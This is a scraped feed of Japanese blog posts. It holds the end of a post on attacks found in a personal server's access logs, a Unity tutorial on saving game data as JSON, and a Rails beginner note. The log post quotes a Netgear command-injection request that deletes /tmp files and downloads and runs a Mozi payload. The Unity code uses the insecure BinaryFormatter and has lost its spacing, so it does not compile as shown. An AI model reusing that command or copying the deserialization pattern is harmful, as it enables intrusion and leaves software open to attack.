xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /index.php HTTP/1.1" 301 5 "-""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/index.php""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET / HTTP/1.1" 200 3451 "-""Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"

ThinkPHPという、中国で人気のPHPのフレームワークの脆弱性を狙った攻撃だそうです。こちらのブログに、該当脆弱性の説明が詳しく載っています。一言でまとめると、OSコマンドインジェクションのようなものが可能になってしまう脆弱性だそうです。

ルーターの脆弱性を狙った攻撃

この記事を書いている最中にも、攻撃が来ました。中国湖南省からはるばるお越しです。下のようなリクエストでした。

xxx.xxx.xxx.xxx - - [15/Jan/2020:03:47:25 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 178 "-""-"

Netgearのルーターの脆弱性で、setup.cgiというファイルにパラメーターを渡して実行することで、OSコマンドインジェクションができてしまうそうです(参考)。rm -rf /tmp/*とか、ブッソウなコマンドが渡されています。幸い私はこの脆弱性に関係なかったので、無傷でした。

まとめ

ツールの脆弱性をつく攻撃が多かったです。サーバーにインストールしているツールやフレームワークは、こまめにアップデートする必要がありそうです。

攻撃の中でも、WordpressやPHPを狙ったものが多かったです。これらはシェアが高いだけに、攻撃にさらされる機会も増えるのかもしれません。

また、私のウェブサイトのように、コンテンツが一切なく誰からもアクセスされないようなものであっても、しっかり攻撃が来ていました。サイバー攻撃を他人事だと思わず、誰もがしっかり対策するべきなのだと実感させられました。

【Unity】Jsonファイルとしてデータを保存する

$
0
0

はじめに

このアカウントは、プログラムについて勉強し始めて1年立たずの専門学校生によるものです。
新たに学んだ技術や知識をなるべくわかりやすくまとめておこうと思います。
アドバイス・ご指摘などありましたら、どうぞご遠慮無く。

データの保存

ゲーム制作をしていると必ずぶつかる壁にデータの保存があると思います。
今回は、私がゲーム制作で使用した保存方法とスクリプトをご紹介します。

Jsonファイルとしてデータを保存・読み書きする

データの保存方法にも何種類かありますが、今回はJsonファイルで保存する方法を使ってみました。
今回のスクリプトはこちらtitleの記事を参考にさせていただきました。
(kanのメモ帳-個人ゲーム開発者kan.kikuchiのメモ的技術ブログ-/クラスを丸ごと保存するデータ管理方法【Unity】)

スクリプト

魚を取るゲームを制作していたので、所々魚関係の変数や名前が出てきます。

PlayerDataInstance.cs
usingSystem.Collections.Generic;usingUnityEngine;usingSystem;usingSystem.IO;usingSystem.Runtime.Serialization.Formatters.Binary;usingUnityEditor;/// <summary>/// .jsonファイルでプレイヤーデータを保存する/// </summary>[Serializable]publicclassPlayerDataInstance:ISerializationCallbackReceiver{//プレイヤーデータの実態、初アクセス時にデータをロードprivatestaticPlayerDataInstance_instance=null;publicstaticPlayerDataInstanceInstance{get{if(_instance==null){Load();}return_instance;}}[SerializeField]privatestaticstring_jsonText="";//================================================//保存されるデータ//================================================[SerializeField]intmoney;// 所持金[SerializeField]stringlanceName;// 装備しているLanceStatusDataの名前[SerializeField]privatestring_fishDictJson="";publicDictionary<string,Fish>FishDict=newDictionary<string,Fish>();// 銛で突いた魚の名前と数を保存//================================================//シリアライズ、デシリアライズ時のコールバック//================================================/// <summary>/// PlayerData->Jsonに変換される前に実行される。/// </summary>publicvoidOnBeforeSerialize(){//Dictionaryはそのまま保存されないので、個別にシリアライズしてテキストで保存_fishDictJson=Serialize(FishDict);}/// <summary>/// Json->PlayerDataに変換された後に実行される。/// </summary>publicvoidOnAfterDeserialize(){//保存されているテキストがあればDictionaryにデシリアライズif(!string.IsNullOrEmpty(_fishDictJson)){FishDict=Deserialize<Dictionary<string,Fish>>(_fishDictJson);}}/// <summary>/// 引数のオブジェクトをシリアライズして返す/// </summary>/// <typeparam name="T"></typeparam>/// <param name="obj"></param>/// <returns></returns>privatestaticstringSerialize<T>(Tobj){BinaryFormatterbinaryFormatter=newBinaryFormatter();MemoryStreammemoryStream=newMemoryStream();binaryFormatter.Serialize(memoryStream,obj);returnConvert.ToBase64String(memoryStream.GetBuffer());}/// <summary>/// 引数のテキストを指定されたクラスにデシリアライズして返す。/// </summary>/// <typeparam name="T"></typeparam>/// <param name="str"></param>/// <returns></returns>privatestaticTDeserialize<T>(stringstr){BinaryFormatterbinaryFormatter=newBinaryFormatter();MemoryStreammemoryStream=newMemoryStream(Convert.FromBase64String(str));return(T)binaryFormatter.Deserialize(memoryStream);}//================================================//取得//================================================/// <summary>/// データを再読み込みする。/// </summary>publicvoidReload(){JsonUtility.FromJsonOverwrite(GetJson(),this);}/// <summary>/// データを読み込む。/// </summary>privatestaticvoidLoad(){_instance=JsonUtility.FromJson<PlayerDataInstance>(GetJson());}privatestaticstringGetJson(){//既にJsonを取得している場合はそれを返す。if(!string.IsNullOrEmpty(_jsonText)){return_jsonText;}//Jsonを保存している場所のパスを取得stringfilePath=GetSaveFilePath();//Jsonが存在するか調べてから取得し変換する。存在しなければ新たなクラスを作成し、それをJsonに変換する。if(File.Exists(filePath)){_jsonText=File.ReadAllText(filePath);}else{_jsonText=JsonUtility.ToJson(newPlayerDataInstance());}return_jsonText;}//================================================//保存//================================================/// <summary>/// データをJsonにして保存する。/// </summary>publicvoidSave(){_jsonText=JsonUtility.ToJson(this);File.WriteAllText(GetSaveFilePath(),_jsonText);}//================================================//削除//================================================/// <summary>/// データをすべて削除し、初期化する。/// </summary>publicvoidDelete(){_jsonText=JsonUtility.ToJson(newPlayerDataInstance());Reload();}//================================================//保存先のパス//================================================privatestaticstringGetSaveFilePath(){stringfilePath="PlayerDataInstance";//確認しやすいようにエディタではAssetsと同じ階層に保存//それ以外ではApplication.persistentDataPath以下に保存するように。#if UNITY_EDITOR
filePath+=".json";#else
filePath=Application.persistentDataPath+"/"+filePath;#endif
Debug.Log(filePath);returnfilePath;}//================================================//PlayerDataUtility//================================================/// <summary>/// 所持金を取得する。/// </summary>/// <returns></returns>publicintGetMoney(){returnmoney;}/// <summary>/// 装備品の名前を取得する/// </summary>/// <returns></returns>publicstringGetLanceName(){returnlanceName;}/// <summary>/// 銛で獲った魚の名前と数を取得する/// </summary>/// <returns></returns>publicDictionary<string,Fish>GetFish(){returnFishDict;}/// <summary>/// 保存するデータを設定する。/// </summary>/// <param name="data"></param>publicvoidSetPlayerData(PlayerDatadata){LanceStatusData_lsd=data.GetLance();lanceName=_lsd.GetEquipmentName();money=data.GetMoney();FishDict=data.GetFish();}}

使用例

上のスクリプトを実際に使用したものを以下に記載します。

PlayerData.cs
usingSystem.Collections.Generic;usingUnityEngine;usingSystem;usingSystem.IO;usingSystem.Runtime.Serialization.Formatters.Binary;usingUnityEditor;[Serializable]publicclassPlayerData:MonoBehaviour{//(中略)privatevoidStart(){//保存しておいたデータを取得する//static変数を取得PlayerDataInstance_pInstance=PlayerDataInstance.Instance;dataList=gameObject.GetComponent<DataList>();//各データを保存していたファイルから取得stringlanceName=_pInstance.GetLanceName();//初期状態だとlanceName""なので、初期装備を設定//lanceNameが存在するなら該当する装備を取得if(lanceName==""){lance=dataList.GetLance("ボロのモリ");lance.IsBought=true;}else{lance=dataList.GetLance(lanceName);}money=_pInstance.GetMoney();fishes=_pInstance.GetFish();}//以下省略}

このように、PlayerDataInstanceで設けたstatic変数を呼び出せば、保存していたデータを取得することができます。
データの上書き保存やデータ削除も同様に、static変数から“Save()”、“Delete()”を呼び出すことで可能になります。

使用上の注意

ここでは実際に私が失敗したり悩んだ部分、ほかの使い方などを書いておきます。

InstanceDataのスクリプト(1つ目のスクリプト)はオブジェクトにアタッチできない

スクリプトの属性がMonoBehaviorではないため、オブジェクトにアタッチすることができません。
その代わり、オブジェクトにアタッチしなくても、スクリプトがプロジェクト内に存在すれば機能してくれます。

InstanceDataのスクリプトのみで十分使用可能

作っていたゲームの構造上、プレイヤーデータ本体(2つ目のスクリプト)と保存部分(1つ目のスクリプト)を分けましたが、保存部分のみでも使用可能です。
例えば、ゲームを通して常にプレイヤーが存在する場合(RPGなど)はstatic変数を呼び出すことで問題なく動作するはずです。

.jsonファイルは開発中はプロジェクトのフォルダ内に作成される

.jsonファイルはプロジェクトのフォルダ(Assetsなどと同じ)内に生成されます。
DataPathを見ていただければわかるかと思いますが、iOSのみ保存場所が異なります。

まとめ

データの保存には、ほかにもいろいろな方法があります。
例えば、Unityに実装されているPlayerPrefsを利用する方法なんかが有名です。
また、改善点などありましたらコメントにてご教授いただけると、私のスキルアップにつながります。
ぜひよろしくお願いいたします。

Rails 初歩

$
0
0

hair_long_manヒゲ.png
       風邪ぎみザッキーさん

Rails 学んでみて

ターミナル実行を行うと、、

テキストの通り再現しているつもりでもlocalhost画面にエラーがよく出てしまいました。
それを正常にするのに手間取ってしまいました。

  白い画面のエラー

  👉ターミナル側に問題がある

  赤い画面のエラー

  👉VScode側に問題がある

  (参考までに)自分が困ってしまった例db migrate

  カラムを作成せずに、そのまま実行を押してしまった場合
             ↓
  カラム作成のコードを書いてからそのまま再実行しても正常に戻らない。。。

       解決策

  rails db:migrate:status = マイグレーションファイルの状態確認
  rails db:rollback = マイグレーションファイルをdownへ変更
  rails db:migrate = マイグレーションファイルをupに変更
             ↓
        カラムを作成できた!

最後に

どの部分が原因のエラーなのか、わからないと詰まる。
それを分かって改善するためにはMVCをしっかり理解していないとできない。

Viewing all 21647 articles
Browse latest View live